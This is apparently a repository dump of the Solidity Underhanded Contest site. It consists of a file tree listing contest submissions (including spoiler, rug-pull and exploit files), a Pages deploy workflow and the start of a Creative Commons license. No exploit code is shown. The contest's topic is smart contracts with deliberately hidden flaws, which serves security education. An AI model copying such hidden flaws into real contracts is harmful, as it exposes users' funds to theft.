│ │ │ │ │ ├── ERC721ReceiverMockUpgradeable.sol
│ │ │ │ │ ├── ERC721URIStorageMockUpgradeable.sol
│ │ │ │ │ ├── ERC777MockUpgradeable.sol
│ │ │ │ │ ├── ERC777SenderRecipientMockUpgradeable.sol
│ │ │ │ │ ├── EnumerableMapMockUpgradeable.sol
│ │ │ │ │ ├── EnumerableSetMockUpgradeable.sol
│ │ │ │ │ ├── EtherReceiverMockUpgradeable.sol
│ │ │ │ │ ├── GovernorCompMockUpgradeable.sol
│ │ │ │ │ ├── GovernorCompatibilityBravoMockUpgradeable.sol
│ │ │ │ │ ├── GovernorMockUpgradeable.sol
│ │ │ │ │ ├── GovernorTimelockCompoundMockUpgradeable.sol
│ │ │ │ │ ├── GovernorTimelockControlMockUpgradeable.sol
│ │ │ │ │ ├── InitializableMock.sol
│ │ │ │ │ ├── MathMockUpgradeable.sol
│ │ │ │ │ ├── MerkleProofWrapperUpgradeable.sol
│ │ │ │ │ ├── MulticallTestUpgradeable.sol
│ │ │ │ │ ├── MulticallTokenMockUpgradeable.sol
│ │ │ │ │ ├── MultipleInheritanceInitializableMocks.sol
│ │ │ │ │ ├── OwnableMockUpgradeable.sol
│ │ │ │ │ ├── PausableMockUpgradeable.sol
│ │ │ │ │ ├── PullPaymentMockUpgradeable.sol
│ │ │ │ │ ├── ReentrancyAttackUpgradeable.sol
│ │ │ │ │ ├── ReentrancyMockUpgradeable.sol
│ │ │ │ │ ├── RegressionImplementation.sol
│ │ │ │ │ ├── SafeCastMockUpgradeable.sol
│ │ │ │ │ ├── SafeERC20HelperUpgradeable.sol
│ │ │ │ │ ├── SafeMathMockUpgradeable.sol
│ │ │ │ │ ├── SignatureCheckerMockUpgradeable.sol
│ │ │ │ │ ├── SignedSafeMathMockUpgradeable.sol
│ │ │ │ │ ├── SingleInheritanceInitializableMocks.sol
│ │ │ │ │ ├── StorageSlotMockUpgradeable.sol
│ │ │ │ │ ├── StringsMockUpgradeable.sol
│ │ │ │ │ ├── TimersBlockNumberImplUpgradeable.sol
│ │ │ │ │ ├── TimersTimestampImplUpgradeable.sol
│ │ │ │ │ ├── UUPS/
│ │ │ │ │ │ └── TestInProdUpgradeable.sol
│ │ │ │ │ ├── WithInit.sol
│ │ │ │ │ ├── compound/
│ │ │ │ │ │ └── CompTimelockUpgradeable.sol
│ │ │ │ │ └── wizard/
│ │ │ │ │ ├── MyGovernor1Upgradeable.sol
│ │ │ │ │ ├── MyGovernor2Upgradeable.sol
│ │ │ │ │ └── MyGovernor3Upgradeable.sol
│ │ │ │ ├── package.json
│ │ │ │ ├── proxy/
│ │ │ │ │ ├── ClonesUpgradeable.sol
│ │ │ │ │ ├── ERC1967/
│ │ │ │ │ │ └── ERC1967UpgradeUpgradeable.sol
│ │ │ │ │ ├── README.adoc
│ │ │ │ │ ├── beacon/
│ │ │ │ │ │ └── IBeaconUpgradeable.sol
│ │ │ │ │ └── utils/
│ │ │ │ │ ├── Initializable.sol
│ │ │ │ │ └── UUPSUpgradeable.sol
│ │ │ │ ├── security/
│ │ │ │ │ ├── PausableUpgradeable.sol
│ │ │ │ │ ├── PullPaymentUpgradeable.sol
│ │ │ │ │ ├── README.adoc
│ │ │ │ │ └── ReentrancyGuardUpgradeable.sol
│ │ │ │ ├── token/
│ │ │ │ │ ├── ERC1155/
│ │ │ │ │ │ ├── ERC1155Upgradeable.sol
│ │ │ │ │ │ ├── IERC1155ReceiverUpgradeable.sol
│ │ │ │ │ │ ├── IERC1155Upgradeable.sol
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ ├── extensions/
│ │ │ │ │ │ │ ├── ERC1155BurnableUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC1155PausableUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC1155SupplyUpgradeable.sol
│ │ │ │ │ │ │ └── IERC1155MetadataURIUpgradeable.sol
│ │ │ │ │ │ ├── presets/
│ │ │ │ │ │ │ └── ERC1155PresetMinterPauserUpgradeable.sol
│ │ │ │ │ │ └── utils/
│ │ │ │ │ │ ├── ERC1155HolderUpgradeable.sol
│ │ │ │ │ │ └── ERC1155ReceiverUpgradeable.sol
│ │ │ │ │ ├── ERC20/
│ │ │ │ │ │ ├── ERC20Upgradeable.sol
│ │ │ │ │ │ ├── IERC20Upgradeable.sol
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ ├── extensions/
│ │ │ │ │ │ │ ├── ERC20BurnableUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC20CappedUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC20FlashMintUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC20PausableUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC20SnapshotUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC20VotesCompUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC20VotesUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC20WrapperUpgradeable.sol
│ │ │ │ │ │ │ ├── IERC20MetadataUpgradeable.sol
│ │ │ │ │ │ │ ├── draft-ERC20PermitUpgradeable.sol
│ │ │ │ │ │ │ └── draft-IERC20PermitUpgradeable.sol
│ │ │ │ │ │ ├── presets/
│ │ │ │ │ │ │ ├── ERC20PresetFixedSupplyUpgradeable.sol
│ │ │ │ │ │ │ └── ERC20PresetMinterPauserUpgradeable.sol
│ │ │ │ │ │ └── utils/
│ │ │ │ │ │ ├── SafeERC20Upgradeable.sol
│ │ │ │ │ │ └── TokenTimelockUpgradeable.sol
│ │ │ │ │ ├── ERC721/
│ │ │ │ │ │ ├── ERC721Upgradeable.sol
│ │ │ │ │ │ ├── IERC721ReceiverUpgradeable.sol
│ │ │ │ │ │ ├── IERC721Upgradeable.sol
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ ├── extensions/
│ │ │ │ │ │ │ ├── ERC721BurnableUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC721EnumerableUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC721PausableUpgradeable.sol
│ │ │ │ │ │ │ ├── ERC721URIStorageUpgradeable.sol
│ │ │ │ │ │ │ ├── IERC721EnumerableUpgradeable.sol
│ │ │ │ │ │ │ └── IERC721MetadataUpgradeable.sol
│ │ │ │ │ │ ├── presets/
│ │ │ │ │ │ │ └── ERC721PresetMinterPauserAutoIdUpgradeable.sol
│ │ │ │ │ │ └── utils/
│ │ │ │ │ │ └── ERC721HolderUpgradeable.sol
│ │ │ │ │ └── ERC777/
│ │ │ │ │ ├── ERC777Upgradeable.sol
│ │ │ │ │ ├── IERC777RecipientUpgradeable.sol
│ │ │ │ │ ├── IERC777SenderUpgradeable.sol
│ │ │ │ │ ├── IERC777Upgradeable.sol
│ │ │ │ │ ├── README.adoc
│ │ │ │ │ └── presets/
│ │ │ │ │ └── ERC777PresetFixedSupplyUpgradeable.sol
│ │ │ │ └── utils/
│ │ │ │ ├── AddressUpgradeable.sol
│ │ │ │ ├── ArraysUpgradeable.sol
│ │ │ │ ├── ContextUpgradeable.sol
│ │ │ │ ├── CountersUpgradeable.sol
│ │ │ │ ├── Create2Upgradeable.sol
│ │ │ │ ├── MulticallUpgradeable.sol
│ │ │ │ ├── README.adoc
│ │ │ │ ├── StorageSlotUpgradeable.sol
│ │ │ │ ├── StringsUpgradeable.sol
│ │ │ │ ├── TimersUpgradeable.sol
│ │ │ │ ├── cryptography/
│ │ │ │ │ ├── ECDSAUpgradeable.sol
│ │ │ │ │ ├── MerkleProofUpgradeable.sol
│ │ │ │ │ ├── SignatureCheckerUpgradeable.sol
│ │ │ │ │ └── draft-EIP712Upgradeable.sol
│ │ │ │ ├── escrow/
│ │ │ │ │ ├── ConditionalEscrowUpgradeable.sol
│ │ │ │ │ ├── EscrowUpgradeable.sol
│ │ │ │ │ └── RefundEscrowUpgradeable.sol
│ │ │ │ ├── introspection/
│ │ │ │ │ ├── ERC165CheckerUpgradeable.sol
│ │ │ │ │ ├── ERC165StorageUpgradeable.sol
│ │ │ │ │ ├── ERC165Upgradeable.sol
│ │ │ │ │ ├── ERC1820ImplementerUpgradeable.sol
│ │ │ │ │ ├── IERC165Upgradeable.sol
│ │ │ │ │ ├── IERC1820ImplementerUpgradeable.sol
│ │ │ │ │ └── IERC1820RegistryUpgradeable.sol
│ │ │ │ ├── math/
│ │ │ │ │ ├── MathUpgradeable.sol
│ │ │ │ │ ├── SafeCastUpgradeable.sol
│ │ │ │ │ ├── SafeMathUpgradeable.sol
│ │ │ │ │ └── SignedSafeMathUpgradeable.sol
│ │ │ │ └── structs/
│ │ │ │ ├── BitMapsUpgradeable.sol
│ │ │ │ ├── EnumerableMapUpgradeable.sol
│ │ │ │ └── EnumerableSetUpgradeable.sol
│ │ │ ├── hardhat/
│ │ │ │ ├── env-artifacts.js
│ │ │ │ ├── env-contract.js
│ │ │ │ ├── task-get-compiler-input.js
│ │ │ │ └── task-test-get-files.js
│ │ │ ├── hardhat.config.js
│ │ │ ├── migrations/
│ │ │ │ └── .gitkeep
│ │ │ ├── netlify.toml
│ │ │ ├── package.json
│ │ │ └── renovate.json
│ │ └── src/
│ │ ├── LipPool.sol
│ │ ├── MockToken.sol
│ │ └── test/
│ │ └── Contract.t.sol
│ ├── submission12_HubertRitzdorf/
│ │ ├── README
│ │ ├── foundry.toml
│ │ ├── lib/
│ │ │ ├── ds-test/
│ │ │ │ ├── .gitignore
│ │ │ │ ├── LICENSE
│ │ │ │ ├── Makefile
│ │ │ │ ├── default.nix
│ │ │ │ ├── demo/
│ │ │ │ │ └── demo.sol
│ │ │ │ └── src/
│ │ │ │ └── test.sol
│ │ │ └── solmate/
│ │ │ ├── .dapprc
│ │ │ ├── .gas-snapshot
│ │ │ ├── .gitattributes
│ │ │ ├── .github/
│ │ │ │ └── workflows/
│ │ │ │ └── tests.yml
│ │ │ ├── .gitignore
│ │ │ ├── .gitmodules
│ │ │ ├── .prettierrc
│ │ │ ├── .vscode/
│ │ │ │ └── settings.json
│ │ │ ├── LICENSE
│ │ │ ├── Makefile
│ │ │ ├── README.md
│ │ │ ├── lib/
│ │ │ │ └── ds-test/
│ │ │ │ ├── .gitignore
│ │ │ │ ├── LICENSE
│ │ │ │ ├── Makefile
│ │ │ │ ├── default.nix
│ │ │ │ ├── demo/
│ │ │ │ │ └── demo.sol
│ │ │ │ └── src/
│ │ │ │ └── test.sol
│ │ │ ├── package.json
│ │ │ ├── shell.nix
│ │ │ └── src/
│ │ │ ├── auth/
│ │ │ │ ├── Auth.sol
│ │ │ │ └── authorities/
│ │ │ │ ├── MultiRolesAuthority.sol
│ │ │ │ └── RolesAuthority.sol
│ │ │ ├── test/
│ │ │ │ ├── Auth.t.sol
│ │ │ │ ├── Bytes32AddressLib.t.sol
│ │ │ │ ├── CREATE3.t.sol
│ │ │ │ ├── DSTestPlus.t.sol
│ │ │ │ ├── ERC1155.t.sol
│ │ │ │ ├── ERC20.t.sol
│ │ │ │ ├── ERC721.t.sol
│ │ │ │ ├── FixedPointMathLib.t.sol
│ │ │ │ ├── MultiRolesAuthority.t.sol
│ │ │ │ ├── ReentrancyGuard.t.sol
│ │ │ │ ├── RolesAuthority.t.sol
│ │ │ │ ├── SSTORE2.t.sol
│ │ │ │ ├── SafeCastLib.t.sol
│ │ │ │ ├── SafeTransferLib.t.sol
│ │ │ │ ├── WETH.t.sol
│ │ │ │ └── utils/
│ │ │ │ ├── DSInvariantTest.sol
│ │ │ │ ├── DSTestPlus.sol
│ │ │ │ ├── Hevm.sol
│ │ │ │ ├── mocks/
│ │ │ │ │ ├── MockAuthChild.sol
│ │ │ │ │ ├── MockAuthority.sol
│ │ │ │ │ ├── MockERC1155.sol
│ │ │ │ │ ├── MockERC20.sol
│ │ │ │ │ └── MockERC721.sol
│ │ │ │ └── users/
│ │ │ │ ├── ERC1155User.sol
│ │ │ │ ├── ERC20User.sol
│ │ │ │ ├── ERC721User.sol
│ │ │ │ └── GenericUser.sol
│ │ │ ├── tokens/
│ │ │ │ ├── ERC1155.sol
│ │ │ │ ├── ERC20.sol
│ │ │ │ ├── ERC721.sol
│ │ │ │ └── WETH.sol
│ │ │ └── utils/
│ │ │ ├── Bytes32AddressLib.sol
│ │ │ ├── CREATE3.sol
│ │ │ ├── FixedPointMathLib.sol
│ │ │ ├── ReentrancyGuard.sol
│ │ │ ├── SSTORE2.sol
│ │ │ ├── SafeCastLib.sol
│ │ │ └── SafeTransferLib.sol
│ │ ├── spoiler.md
│ │ └── src/
│ │ ├── Auction.sol
│ │ └── test/
│ │ └── Contract.t.sol
│ ├── submission13_TeamChainSecurity/
│ │ ├── README
│ │ ├── foundry.toml
│ │ ├── lib/
│ │ │ ├── ds-test/
│ │ │ │ ├── .gitignore
│ │ │ │ ├── LICENSE
│ │ │ │ ├── Makefile
│ │ │ │ ├── default.nix
│ │ │ │ ├── demo/
│ │ │ │ │ └── demo.sol
│ │ │ │ └── src/
│ │ │ │ └── test.sol
│ │ │ └── solmate/
│ │ │ ├── .dapprc
│ │ │ ├── .gas-snapshot
│ │ │ ├── .gitattributes
│ │ │ ├── .github/
│ │ │ │ └── workflows/
│ │ │ │ └── tests.yml
│ │ │ ├── .gitignore
│ │ │ ├── .gitmodules
│ │ │ ├── .prettierrc
│ │ │ ├── .vscode/
│ │ │ │ └── settings.json
│ │ │ ├── LICENSE
│ │ │ ├── Makefile
│ │ │ ├── README.md
│ │ │ ├── lib/
│ │ │ │ ├── ds-test/
│ │ │ │ │ ├── .gitignore
│ │ │ │ │ ├── LICENSE
│ │ │ │ │ ├── Makefile
│ │ │ │ │ ├── default.nix
│ │ │ │ │ ├── demo/
│ │ │ │ │ │ └── demo.sol
│ │ │ │ │ └── src/
│ │ │ │ │ └── test.sol
│ │ │ │ └── weird-erc20/
│ │ │ │ ├── .envrc
│ │ │ │ ├── .gitattributes
│ │ │ │ ├── .gitignore
│ │ │ │ ├── .gitmodules
│ │ │ │ ├── Makefile
│ │ │ │ ├── lib/
│ │ │ │ │ └── ds-test/
│ │ │ │ │ ├── .gitignore
│ │ │ │ │ ├── LICENSE
│ │ │ │ │ ├── Makefile
│ │ │ │ │ ├── default.nix
│ │ │ │ │ ├── demo/
│ │ │ │ │ │ └── demo.sol
│ │ │ │ │ └── src/
│ │ │ │ │ └── test.sol
│ │ │ │ ├── nix/
│ │ │ │ │ ├── sources.json
│ │ │ │ │ └── sources.nix
│ │ │ │ ├── readme.md
│ │ │ │ ├── shell.nix
│ │ │ │ └── src/
│ │ │ │ ├── Approval.sol
│ │ │ │ ├── ApprovalToZero.sol
│ │ │ │ ├── BlockList.sol
│ │ │ │ ├── Bytes32Metadata.sol
│ │ │ │ ├── ERC20.sol
│ │ │ │ ├── HighDecimals.sol
│ │ │ │ ├── LowDecimals.sol
│ │ │ │ ├── MissingReturns.sol
│ │ │ │ ├── NoRevert.sol
│ │ │ │ ├── Pausable.sol
│ │ │ │ ├── Proxied.sol
│ │ │ │ ├── Reentrant.sol
│ │ │ │ ├── ReturnsFalse.sol
│ │ │ │ ├── RevertToZero.sol
│ │ │ │ ├── RevertZero.sol
│ │ │ │ ├── TransferFee.sol
│ │ │ │ ├── TransferFromSelf.sol
│ │ │ │ ├── Uint96.sol
│ │ │ │ ├── Upgradable.sol
│ │ │ │ └── test.t.sol
│ │ │ ├── package.json
│ │ │ ├── shell.nix
│ │ │ └── src/
│ │ │ ├── auth/
│ │ │ │ ├── Auth.sol
│ │ │ │ └── authorities/
│ │ │ │ ├── MultiRolesAuthority.sol
│ │ │ │ └── RolesAuthority.sol
│ │ │ ├── test/
│ │ │ │ ├── Auth.t.sol
│ │ │ │ ├── Bytes32AddressLib.t.sol
│ │ │ │ ├── CREATE3.t.sol
│ │ │ │ ├── DSTestPlus.t.sol
│ │ │ │ ├── ERC1155.t.sol
│ │ │ │ ├── ERC20.t.sol
│ │ │ │ ├── ERC721.t.sol
│ │ │ │ ├── FixedPointMathLib.t.sol
│ │ │ │ ├── MultiRolesAuthority.t.sol
│ │ │ │ ├── ReentrancyGuard.t.sol
│ │ │ │ ├── RolesAuthority.t.sol
│ │ │ │ ├── SSTORE2.t.sol
│ │ │ │ ├── SafeCastLib.t.sol
│ │ │ │ ├── SafeTransferLib.t.sol
│ │ │ │ ├── WETH.t.sol
│ │ │ │ └── utils/
│ │ │ │ ├── DSInvariantTest.sol
│ │ │ │ ├── DSTestPlus.sol
│ │ │ │ ├── Hevm.sol
│ │ │ │ ├── mocks/
│ │ │ │ │ ├── MockAuthChild.sol
│ │ │ │ │ ├── MockAuthority.sol
│ │ │ │ │ ├── MockERC1155.sol
│ │ │ │ │ ├── MockERC20.sol
│ │ │ │ │ └── MockERC721.sol
│ │ │ │ └── users/
│ │ │ │ ├── ERC1155User.sol
│ │ │ │ ├── ERC20User.sol
│ │ │ │ ├── ERC721User.sol
│ │ │ │ └── GenericUser.sol
│ │ │ ├── tokens/
│ │ │ │ ├── ERC1155.sol
│ │ │ │ ├── ERC20.sol
│ │ │ │ ├── ERC721.sol
│ │ │ │ └── WETH.sol
│ │ │ └── utils/
│ │ │ ├── Bytes32AddressLib.sol
│ │ │ ├── CREATE3.sol
│ │ │ ├── FixedPointMathLib.sol
│ │ │ ├── ReentrancyGuard.sol
│ │ │ ├── SSTORE2.sol
│ │ │ ├── SafeCastLib.sol
│ │ │ └── SafeTransferLib.sol
│ │ ├── spoiler.txt
│ │ └── src/
│ │ ├── Contract.sol
│ │ └── test/
│ │ └── Contract.t.sol
│ ├── submission14_0xplaintxt/
│ │ ├── Colombo.txt
│ │ ├── IColombo.txt
│ │ ├── README.MD
│ │ └── Spoilers.MD
│ ├── submission15_MartinSwende/
│ │ ├── AssetMgr.sol
│ │ ├── README.md
│ │ ├── RUGPULL.txt
│ │ └── SimpEX.sol
│ ├── submission16_VladToie/
│ │ ├── Egg.sol
│ │ ├── EggMarket.sol
│ │ ├── README.md
│ │ └── spoilers.md
│ ├── submission17_MichaelZhu/
│ │ ├── BrokenSea.sol
│ │ ├── README.md
│ │ └── SPOILER.md
│ ├── submission18_DavidNunez/
│ │ ├── README.md
│ │ ├── brownie-config.yaml
│ │ ├── contracts/
│ │ │ ├── CheapMarketplace.sol
│ │ │ ├── NFT.sol
│ │ │ └── PaymentToken.sol
│ │ ├── spoiler.md
│ │ └── tests/
│ │ └── test_marketplace.py
│ ├── submission1_RikhardHjort/
│ │ ├── README.md
│ │ ├── rugpull.txt
│ │ └── src/
│ │ └── DEX.sol
│ ├── submission2_Ashiq/
│ │ ├── README.md
│ │ ├── Swap121.sol
│ │ └── spoiler.txt
│ ├── submission3_LeoAlt/
│ │ ├── README.md
│ │ ├── SPOILER.md
│ │ ├── foundry.toml
│ │ ├── lib/
│ │ │ ├── ds-test/
│ │ │ │ ├── .gitignore
│ │ │ │ ├── LICENSE
│ │ │ │ ├── Makefile
│ │ │ │ ├── default.nix
│ │ │ │ ├── demo/
│ │ │ │ │ └── demo.sol
│ │ │ │ └── src/
│ │ │ │ └── test.sol
│ │ │ └── solmate/
│ │ │ ├── .dapprc
│ │ │ ├── .gas-snapshot
│ │ │ ├── .gitattributes
│ │ │ ├── .github/
│ │ │ │ └── workflows/
│ │ │ │ └── tests.yml
│ │ │ ├── .gitignore
│ │ │ ├── .gitmodules
│ │ │ ├── .prettierrc
│ │ │ ├── .vscode/
│ │ │ │ └── settings.json
│ │ │ ├── LICENSE
│ │ │ ├── Makefile
│ │ │ ├── README.md
│ │ │ ├── lib/
│ │ │ │ ├── ds-test/
│ │ │ │ │ ├── .gitignore
│ │ │ │ │ ├── LICENSE
│ │ │ │ │ ├── Makefile
│ │ │ │ │ ├── default.nix
│ │ │ │ │ ├── demo/
│ │ │ │ │ │ └── demo.sol
│ │ │ │ │ └── src/
│ │ │ │ │ └── test.sol
│ │ │ │ └── weird-erc20/
│ │ │ │ ├── .envrc
│ │ │ │ ├── .gitattributes
│ │ │ │ ├── .gitignore
│ │ │ │ ├── .gitmodules
│ │ │ │ ├── Makefile
│ │ │ │ ├── lib/
│ │ │ │ │ └── ds-test/
│ │ │ │ │ ├── .gitignore
│ │ │ │ │ ├── LICENSE
│ │ │ │ │ ├── Makefile
│ │ │ │ │ ├── default.nix
│ │ │ │ │ ├── demo/
│ │ │ │ │ │ └── demo.sol
│ │ │ │ │ └── src/
│ │ │ │ │ └── test.sol
│ │ │ │ ├── nix/
│ │ │ │ │ ├── sources.json
│ │ │ │ │ └── sources.nix
│ │ │ │ ├── readme.md
│ │ │ │ ├── shell.nix
│ │ │ │ └── src/
│ │ │ │ ├── Approval.sol
│ │ │ │ ├── ApprovalToZero.sol
│ │ │ │ ├── BlockList.sol
│ │ │ │ ├── Bytes32Metadata.sol
│ │ │ │ ├── ERC20.sol
│ │ │ │ ├── HighDecimals.sol
│ │ │ │ ├── LowDecimals.sol
│ │ │ │ ├── MissingReturns.sol
│ │ │ │ ├── NoRevert.sol
│ │ │ │ ├── Pausable.sol
│ │ │ │ ├── Proxied.sol
│ │ │ │ ├── Reentrant.sol
│ │ │ │ ├── ReturnsFalse.sol
│ │ │ │ ├── RevertToZero.sol
│ │ │ │ ├── RevertZero.sol
│ │ │ │ ├── TransferFee.sol
│ │ │ │ ├── TransferFromSelf.sol
│ │ │ │ ├── Uint96.sol
│ │ │ │ ├── Upgradable.sol
│ │ │ │ └── test.t.sol
│ │ │ ├── package.json
│ │ │ ├── shell.nix
│ │ │ └── src/
│ │ │ ├── auth/
│ │ │ │ ├── Auth.sol
│ │ │ │ └── authorities/
│ │ │ │ ├── MultiRolesAuthority.sol
│ │ │ │ └── RolesAuthority.sol
│ │ │ ├── mixins/
│ │ │ │ └── ERC4626.sol
│ │ │ ├── test/
│ │ │ │ ├── Auth.t.sol
│ │ │ │ ├── Bytes32AddressLib.t.sol
│ │ │ │ ├── CREATE3.t.sol
│ │ │ │ ├── DSTestPlus.t.sol
│ │ │ │ ├── ERC1155.t.sol
│ │ │ │ ├── ERC20.t.sol
│ │ │ │ ├── ERC4626.t.sol
│ │ │ │ ├── ERC721.t.sol
│ │ │ │ ├── FixedPointMathLib.t.sol
│ │ │ │ ├── MultiRolesAuthority.t.sol
│ │ │ │ ├── ReentrancyGuard.t.sol
│ │ │ │ ├── RolesAuthority.t.sol
│ │ │ │ ├── SSTORE2.t.sol
│ │ │ │ ├── SafeCastLib.t.sol
│ │ │ │ ├── SafeTransferLib.t.sol
│ │ │ │ ├── WETH.t.sol
│ │ │ │ └── utils/
│ │ │ │ ├── DSInvariantTest.sol
│ │ │ │ ├── DSTestPlus.sol
│ │ │ │ ├── Hevm.sol
│ │ │ │ ├── mocks/
│ │ │ │ │ ├── MockAuthChild.sol
│ │ │ │ │ ├── MockAuthority.sol
│ │ │ │ │ ├── MockERC1155.sol
│ │ │ │ │ ├── MockERC20.sol
│ │ │ │ │ ├── MockERC4626.sol
│ │ │ │ │ └── MockERC721.sol
│ │ │ │ └── users/
│ │ │ │ ├── ERC1155User.sol
│ │ │ │ ├── ERC20User.sol
│ │ │ │ ├── ERC4626User.sol
│ │ │ │ ├── ERC721User.sol
│ │ │ │ └── GenericUser.sol
│ │ │ ├── tokens/
│ │ │ │ ├── ERC1155.sol
│ │ │ │ ├── ERC20.sol
│ │ │ │ ├── ERC721.sol
│ │ │ │ └── WETH.sol
│ │ │ └── utils/
│ │ │ ├── Bytes32AddressLib.sol
│ │ │ ├── CREATE3.sol
│ │ │ ├── FixedPointMathLib.sol
│ │ │ ├── ReentrancyGuard.sol
│ │ │ ├── SSTORE2.sol
│ │ │ ├── SafeCastLib.sol
│ │ │ └── SafeTransferLib.sol
│ │ └── src/
│ │ ├── MatchMaking.sol
│ │ └── test/
│ │ └── MatchMaking.t.sol
│ ├── submission4_WilliamBowling/
│ │ ├── DoubleDex.sol
│ │ ├── readme.md
│ │ └── spoiler.md
│ ├── submission5_ArthurHsiao/
│ │ ├── NFTExchange.sol
│ │ ├── README.md
│ │ └── spoiler.txt
│ ├── submission6_KurtWillis/
│ │ ├── README.md
│ │ ├── SPOILER.md
│ │ └── contracts/
│ │ └── NFTOrderBook.sol
│ ├── submission7_RobertoCano/
│ │ ├── EXPLOIT/
│ │ │ ├── SPOILER.md
│ │ │ └── VeryCoolAMMExploit.sol
│ │ ├── README.md
│ │ ├── VeryCoolPeriphery.sol
│ │ ├── VeryCoolPoolETH.sol
│ │ └── VeryCoolPoolTokens.sol
│ ├── submission8_MartínAbbatemarco/
│ │ ├── README.md
│ │ ├── SPOILER.md
│ │ └── UniswapWrapper.sol
│ └── submission9_TynanRichards/
│ ├── README.md
│ ├── SPOILERS.md
│ └── dexploit.sol
├── 2024/
│ └── submissions_2024/
│ ├── submission1_Stepan/
│ │ ├── LightStorage.sol
│ │ ├── LightVesting.sol
│ │ ├── README.md
│ │ └── SPOILER.md
│ ├── submission2_Seppilon/
│ │ ├── README.md
│ │ ├── foundry.toml
│ │ ├── remappings.txt
│ │ ├── src/
│ │ │ ├── InstantVoting.sol
│ │ │ └── Mock/
│ │ │ ├── MockExecutor.sol
│ │ │ ├── MockVoterRegistry.sol
│ │ │ └── MockVotingToken.sol
│ │ └── test/
│ │ ├── exploit.t.sol
│ │ └── legit.t.sol
│ ├── submission3_William_Bowling/
│ │ ├── OffchainStaking.sol
│ │ ├── readme.txt
│ │ └── spoiler.txt
│ └── submission4_Gerard_Persoon/
│ ├── README.txt
│ ├── spoiler.sol
│ ├── spoiler.txt
│ └── token.sol
├── CNAME
├── LICENSE.txt
├── README.md
├── assets/
│ ├── css/
│ │ ├── main.css
│ │ └── noscript.css
│ ├── js/
│ │ ├── main.js
│ │ └── util.js
│ └── sass/
│ ├── base/
│ │ ├── _page.scss
│ │ ├── _reset.scss
│ │ └── _typography.scss
│ ├── components/
│ │ ├── _actions.scss
│ │ ├── _box.scss
│ │ ├── _button.scss
│ │ ├── _contact.scss
│ │ ├── _features.scss
│ │ ├── _form.scss
│ │ ├── _icon.scss
│ │ ├── _icons.scss
│ │ ├── _image.scss
│ │ ├── _list.scss
│ │ ├── _menu.scss
│ │ ├── _row.scss
│ │ ├── _section.scss
│ │ ├── _split.scss
│ │ ├── _spotlights.scss
│ │ ├── _table.scss
│ │ └── _wrapper.scss
│ ├── layout/
│ │ ├── _footer.scss
│ │ ├── _header.scss
│ │ ├── _intro.scss
│ │ ├── _sidebar.scss
│ │ └── _wrapper.scss
│ ├── libs/
│ │ ├── _breakpoints.scss
│ │ ├── _functions.scss
│ │ ├── _html-grid.scss
│ │ ├── _mixins.scss
│ │ ├── _vars.scss
│ │ └── _vendor.scss
│ ├── main.scss
│ └── noscript.scss
└── index.html
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/workflows/deploy-static.yml
================================================
name: Deploy the Solidity Underhanded Contest to GitHub Pages
on:
push:
branches: ["master"]
workflow_dispatch:
permissions:
contents: read
pages: write
id-token: write
# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
concurrency:
group: "pages"
cancel-in-progress: false
jobs:
deploy:
environment:
name: github-pages
url: ${{ steps.deployment.outputs.page_url }}
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Pages
uses: actions/configure-pages@v5
- name: Upload artifact
uses: actions/upload-pages-artifact@v3
with:
path: '.'
- name: Deploy to GitHub Pages
id: deployment
uses: actions/deploy-pages@v4
================================================
FILE: .gitignore
================================================
.git
### Jekyll ###
_site/
.sass-cache/
.jekyll-cache/
.jekyll-metadata
# Ignore folders generated by Bundler
.bundle/
vendor/
================================================
FILE: 2020/CNAME
================================================
underhanded.soliditylang.org
================================================
FILE: 2020/LICENSE.txt
================================================
Creative Commons Attribution 3.0 Unported
http://creativecommons.org/licenses/by/3.0/
License
THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.
BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. TO THE EXTENT THIS LICENSE MAY BE CONSIDERED TO BE A CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.
1. Definitions
1. "Adaptation" means a work based upon the Work, or upon the Work and other pre-existing works, such as a translation, adaptation, derivative work, arrangement of music or other alterations of a literary or artistic work, or phonogram or performance and includes cinematographic adaptations or any other form in which the Work may be recast, transformed, or adapted including in any form recognizably derived from the original, except that a work that constitutes a Collection will not be considered an Adaptation for the purpose of this License. For the avoidance of doubt, where the Work is a musical work, performance or phonogram, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered an Adaptation for the purpose of this License.
2. "Collection" means a collection of literary or artistic works, such as encyclopedias and anthologies, or performances, phonograms or broadcasts, or other works or subject matter other than works listed in Section 1(f) below, which, by reason of the selection and arrangement of their contents, constitute intellectual creations, in which the Work is included in its entirety in unmodified form along with one or more other contributions, each constituting separate and independent works in themselves, which together are assembled into a collective whole. A work that constitutes a Collection will not be considered an Adaptation (as defined above) for the purposes of this License.
3. "Distribute" means to make available to the public the original and copies of the Work or Adaptation, as appropriate, through sale or other transfer of ownership.
4. "Licensor" means the individual, individuals, entity or entities that offer(s) the Work under the terms of this License.
